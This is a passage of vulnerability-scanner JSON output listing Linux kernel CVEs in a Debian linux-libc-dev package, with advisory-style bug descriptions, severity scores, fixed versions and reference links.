teardown.\n\nFix by adding the same `goto unlock` in the s1 failure path.", "Severity": "HIGH", "CweIDs": [ "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30848", "https://access.redhat.com/errata/RHSA-2026:33215", "https://access.redhat.com/errata/RHSA-2026:33685", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/security/cve/CVE-2026-46176", "https://bugzilla.redhat.com/2460619", "https://bugzilla.redhat.com/2464397", "https://bugzilla.redhat.com/2468124", "https://bugzilla.redhat.com/2481980", "https://bugzilla.redhat.com/2482025", "https://bugzilla.redhat.com/2482031", "https://bugzilla.redhat.com/2482588", "https://bugzilla.redhat.com/2482594", "https://bugzilla.redhat.com/show_bug.cgi?id=2482594", "https://errata.almalinux.org/9/ALSA-2026-30848.html", "https://git.kernel.org/linus/c488df06bd552bb8b6e14fa0cfd5ad986c6e9525%20%287.1-rc3%29", "https://git.kernel.org/stable/c/6fd93142dd1d09000c3750af08270f5792523fe9", "https://git.kernel.org/stable/c/a13c2ac4d480b734342c6fbf8249fc48afd675f3", "https://git.kernel.org/stable/c/b087913ae88256df66620f7ba0a9776716aeef7e", "https://git.kernel.org/stable/c/bc2cf5935b4665172235341163315905197ae91d", "https://git.kernel.org/stable/c/c488df06bd552bb8b6e14fa0cfd5ad986c6e9525", "https://linux.oracle.com/cve/CVE-2026-46176.html", "https://linux.oracle.com/errata/ELSA-2026-33685.html", "https://lore.kernel.org/linux-cve-announce/2026052828-CVE-2026-46176-a4db@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46176", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46176.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46176" ], "PublishedDate": "2026-05-28T10:16:33.22Z", "LastModifiedDate": "2026-10-19T20:18:36.6Z" }, { "VulnerabilityID": "CVE-2026-46180", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46180", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c94109b85107950314d612e1413ead046a72b6b11dca44f968c73aa54ea989f5", "Title": "kernel: wifi: brcmfmac: Fix potential use-after-free issue when stopping watchdog task", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: brcmfmac: Fix potential use-after-free issue when stopping watchdog task\n\nWatchdog task might end between send_sig() and kthread_stop() calls, what\nresults in the use-after-free issue. Fix this by increasing watchdog task\nreference count before calling send_sig() and dropping it by switching to\nkthread_stop_put().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46180", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/c623b63580880cc742255eaed3d79804c1b91143%20%287.1-rc3%29", "https://git.kernel.org/stable/c/658d2e46c2e9a8eb9b80c5e803ce3c89885b3366", "https://git.kernel.org/stable/c/908b92231e1ded53e43fcfad5e0704d83e1b803c", "https://git.kernel.org/stable/c/a21f735fb1017ef89c6f9dbf4d799513b4e7bd5a", "https://git.kernel.org/stable/c/c623b63580880cc742255eaed3d79804c1b91143", "https://git.kernel.org/stable/c/d16827cb1d3936f7627d0da6044483f743ebde03", "https://git.kernel.org/stable/c/d616bb10de79e5c2bd8a24230a1128aeaf715615", "https://git.kernel.org/stable/c/df2e90d6a9955510f24f1dada78cfc439fd9fa88", "https://git.kernel.org/stable/c/ed4168d1a50fef5be8eca947fbbf05a28507d265", "https://kernelcve.org/list/?q=CVE-2026-46180", "https://linux.oracle.com/cve/CVE-2026-46180.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026052829-CVE-2026-46180-d14b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46180", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-46180" ], "PublishedDate": "2026-05-28T10:16:33.643Z", "LastModifiedDate": "2026-11-06T17:17:42.807Z" }, { "VulnerabilityID": "CVE-2026-46181", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46181", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6e3ff2cdb22a8e2b92497401da1631b410ad689b00c415491206682f85e3c7dc", "Title": "kernel: RDMA/mlx4: Fix mis-use of RCU in mlx4_srq_event()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/mlx4: Fix mis-use of RCU in mlx4_srq_event()\n\nSashiko points out the radix_tree itself is RCU safe, but nothing ever\nfrees the mlx4_srq struct with RCU, and it isn't even accessed within the\nRCU critical section. It also will crash if an event is delivered before\nthe srq object is finished initializing.\n\nUse the spinlock since it isn't easy to make RCU work, use\nrefcount_inc_not_zero() to protect against partially initialized objects,\nand order the refcount_set() to be after the srq is fully initialized.", "Severity": "HIGH", "CweIDs": [ "CWE-366" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25120", "https://access.redhat.com/errata/RHSA-2026:25121", "https://access.redhat.com/errata/RHSA-2026:25217", "https://access.redhat.com/errata/RHSA-2026:33900", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:34095", "https://access.redhat.com/errata/RHSA-2026:34443", "https://access.redhat.com/errata/RHSA-2026:35863", "https://access.redhat.com/errata/RHSA-2026:35894", "https://access.redhat.com/errata/RHSA-2026:35896", "https://access.redhat.com/errata/RHSA-2026:36216", "https://access.redhat.com/errata/RHSA-2026:41236", "https://access.redhat.com/security/cve/CVE-2026-46181", "https://bugzilla.redhat.com/2440630", "https://bugzilla.redhat.com/2457829", "https://bugzilla.redhat.com/2460641", "https://bugzilla.redhat.com/2461471", "https://bugzilla.redhat.com/2464351", "https://bugzilla.redhat.com/2464449", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467234", "https://bugzilla.redhat.com/2480457", "https://bugzilla.redhat.com/2482166", "https://bugzilla.redhat.com/2482532", "https://bugzilla.redhat.com/show_bug.cgi?id=2440630", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460641", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2480457", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-25217.html", "https://errata.rockylinux.org/RLSA-2026:25217", "https://git.kernel.org/linus/c9341307ea16b9395c2e4c9c94d8499d91fe31d0%20%287.1-rc3%29", "https://git.kernel.org/stable/c/1e2a44875b6afb4add1115f7f3351dcbeb6f273d", "https://git.kernel.org/stable/c/2d8b30b496bc53e961ba7415fd629fc27813017c", "https://git.kernel.org/stable/c/654aeddbc6e0f6e56531985bb12328ab4230c6c1", "https://git.kernel.org/stable/c/8b7833f3bce35cb0d01c1503781523c099c675f0", "https://git.kernel.org/stable/c/c9341307ea16b9395c2e4c9c94d8499d91fe31d0", "https://git.kernel.org/stable/c/f0dbd9355ce1e93808541260c7ffab7956df9233", "https://linux.oracle.com/cve/CVE-2026-46181.html", "https://linux.oracle.com/errata/ELSA-2026-25217.html", "https://lore.kernel.org/linux-cve-announce/2026052829-CVE-2026-46181-ecff@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46181", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46181.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-46181" ], "PublishedDate": "2026-05-28T10:16:33.743Z", "LastModifiedDate": "2026-10-30T13:18:57.297Z" }, { "VulnerabilityID": "CVE-2026-46189", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46189", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0aa802dad35bb31ed8826d2b25fc775f8db25cf8161c3dd4bc9b96b2142d83ad", "Title": "kernel: RDMA/vmw_pvrdma: Fix double free on pvrdma_alloc_ucontext() error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/vmw_pvrdma: Fix double free on pvrdma_alloc_ucontext() error path\n\nSashiko points out that pvrdma_uar_free() is already called within\npvrdma_dealloc_ucontext(), so calling it before triggers a double free.", "Severity": "HIGH", "CweIDs": [ "CWE-415", "CWE-763" ], "VendorSeverity": { "alma": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30848", "https://access.redhat.com/errata/RHSA-2026:33685", "https://access.redhat.com/errata/RHSA-2026:33743", "https://access.redhat.com/errata/RHSA-2026:35904", "https://access.redhat.com/errata/RHSA-2026:36049", "https://access.redhat.com/errata/RHSA-2026:36073", "https://access.redhat.com/errata/RHSA-2026:36767", "https://access.redhat.com/errata/RHSA-2026:38902", "https://access.redhat.com/errata/RHSA-2026:40068", "https://access.redhat.com/errata/RHSA-2026:40760", "https://access.redhat.com/errata/RHSA-2026:47633", "https://access.redhat.com/security/cve/CVE-2026-46189", "https://bugzilla.redhat.com/2460619", "https://bugzilla.redhat.com/2464397", "https://bugzilla.redhat.com/2468124", "https://bugzilla.redhat.com/2481980", "https://bugzilla.redhat.com/2482025", "https://bugzilla.redhat.com/2482031", "https://bugzilla.redhat.com/2482588", "https://bugzilla.redhat.com/2482594", "https://bugzilla.redhat.com/show_bug.cgi?id=2482588", "https://errata.almalinux.org/9/ALSA-2026-30848.html", "https://git.kernel.org/linus/e38e86995df27f1f854063dab1f0c6a513db3faf%20%287.1-rc3%29", "https://git.kernel.org/stable/c/0c63333ff97bd1275294fd12840a0efe9d7a4c59", "https://git.kernel.org/stable/c/1df5711121cdc11e76b889408fdbe459feba1d39", "https://git.kernel.org/stable/c/269967d7693304e1f06ed2dff4ebbbeeb397cda4", "https://git.kernel.org/stable/c/3a231c34c5bc3d3cfc850b877758ec9fdaa8a483", "https://git.kernel.org/stable/c/45d25e3ec17900bf5a9d6876ff16ceee31c4c0e0", "https://git.kernel.org/stable/c/935ee27d0904aa944cbcc979094c20e5ef62eead", "https://git.kernel.org/stable/c/e38e86995df27f1f854063dab1f0c6a513db3faf", "https://git.kernel.org/stable/c/ecc36a82ecfcfdf3c6606d209f22ec5543c410e0", "https://linux.oracle.com/cve/CVE-2026-46189.html", "https://linux.oracle.com/errata/ELSA-2026-33743.html", "https://lore.kernel.org/linux-cve-announce/2026052831-CVE-2026-46189-c188@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46189", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46189.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46189" ], "PublishedDate": "2026-05-28T10:16:34.54Z", "LastModifiedDate": "2026-11-06T17:17:43.48Z" }, { "VulnerabilityID": "CVE-2026-46191", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.90-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46191", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:22c4abf32e43981b86cba88408f49aa7a12913957927241c2d4e60ce4fada93b", "Title": "kernel: fbcon: Avoid OOB font access if console rotation fails", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfbcon: Avoid OOB font access if console rotation fails\n\nClear the font buffer if the reallocation during console rotation fails\nin fbcon_rotate_font(). The putcs implementations for the rotated buffer\nwill return early in this case. See [1] for an example.\n\nCurrently, fbcon_rotate_font() keeps the old buffer, which is too small\nfor the rotated font. Printing to the rotated console with a high-enough\ncharacter code will overflow the font buffer.\n\nv2:\n- fix typos in commit message", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46191", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/e4ef723d8975a2694cc90733a6b888a5e2841842%20%287.1-rc1%29", "https://git.kernel.org/stable/c/46cf3646dea54baeaa2eafe3fb1ba769947f31b0", "https://git.kernel.org/stable/c/524a6079395916fb3d790ef2bb46a1d2939b27dd", "https://git.kernel.org/stable/c/594973a2e54924d8ba31c9faac669fc1ba6fcb80", "https://git.kernel.org/stable/c/7105d9f1387d63b15c9a860674fc92c959181f2f", "https://git.kernel.org/stable/c/ab6c34b9829d5de03f1d08a47a2253729a6e7e27", "https://git.kernel.org/stable/c/b44cc78ff46b96e72d333a3be6aaaa0a14797263", "https://git.kernel.org/stable/c/b51c343a81e6e806525a4435e22532c107dd7e9d", "https://git.kernel.org/stable/c/e4ef723d8975a2694cc90733a6b888a5e2841842", "https://kernelcve.org/list/?q=CVE-2026-46191", "https://linux.oracle.com/cve/CVE-2026-46191.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026052832-CVE-2026-46191-012c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46191", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-46191" ], "PublishedDate": "2026-05-28T10:16:34.74Z", "LastModifiedDate": "2026-11-06T17:17:43.867Z" }, { "VulnerabilityID": "CVE-2026-46195", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46195", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f393841a981512d1b1a3647264e51806d703005e729fb76b444291fc1c8783bc", "Title": "kernel: smb: client: validate dacloffset before building DACL pointers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: validate dacloffset before building DACL pointers\n\nparse_sec_desc(), build_sec_desc(), and the chown path in\nid_mode_to_cifs_acl() all add the server-supplied dacloffset to pntsd\nbefore proving a DACL header fits inside the returned security\ndescriptor.\n\nOn 32-bit builds a malicious server can return dacloffset near\nU32_MAX, wrap the derived DACL pointer below end_of_acl, and then slip\npast the later pointer-based bounds checks. build_sec_desc() and\nid_mode_to_cifs_acl() can then dereference DACL fields from the wrapped\npointer in the chmod/chown rewrite paths.\n\nValidate dacloffset numerically before building any DACL pointer and\nreuse the same helper at the three DACL entry points.", "Severity": "HIGH", "CweIDs": [ "CWE-476", "CWE-190", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:21556", "https://access.redhat.com/errata/RHSA-2026:21706", "https://access.redhat.com/errata/RHSA-2026:21745", "https://access.redhat.com/security/cve/CVE-2026-46195", "https://bugzilla.redhat.com/2390372", "https://bugzilla.redhat.com/2422699", "https://bugzilla.redhat.com/2424881", "https://bugzilla.redhat.com/2424886", "https://bugzilla.redhat.com/2429104", "https://bugzilla.redhat.com/2451218", "https://bugzilla.redhat.com/2454810", "https://bugzilla.redhat.com/2455334", "https://bugzilla.redhat.com/2461757", "https://bugzilla.redhat.com/2461759", "https://bugzilla.redhat.com/2464369", "https://bugzilla.redhat.com/2464455", "https://bugzilla.redhat.com/2464462", "https://bugzilla.redhat.com/2464476", "https://bugzilla.redhat.com/2464496", "https://bugzilla.redhat.com/2467014", "https://bugzilla.redhat.com/2467064", "https://bugzilla.redhat.com/2467210", "https://bugzilla.redhat.com/2468091", "https://bugzilla.redhat.com/show_bug.cgi?id=2482606", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://errata.almalinux.org/9/ALSA-2026-21556.html", "https://git.kernel.org/linus/f98b48151cc502ada59d9778f0112d21f2586ca3%20%287.1-rc3%29", "https://git.kernel.org/stable/c/3b1ddba19e77ee35241cd27f16dc3e8d14e08db7", "https://git.kernel.org/stable/c/5de2665e913a10ad70aaeecf736b97276e83d995", "https://git.kernel.org/stable/c/8bd07e417b6bda67e317920584e48cb6ee442a8a", "https://git.kernel.org/stable/c/ba7f71b6161c0943dafc367565e5843d16b7d505", "https://git.kernel.org/stable/c/c688f3ed73d31943334ad2139cb02ec49664322a", "https://git.kernel.org/stable/c/f98b48151cc502ada59d9778f0112d21f2586ca3", "https://git.kernel.org/stable/c/f9dc3be8f403c1216df73e57221f44b045e7ee0b", "https://linux.oracle.com/cve/CVE-2026-46195.html", "https://linux.oracle.com/errata/ELSA-2026-21556.html", "https://lore.kernel.org/linux-cve-announce/2026052833-CVE-2026-46195-f7ef@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46195", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46195.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8569-1", 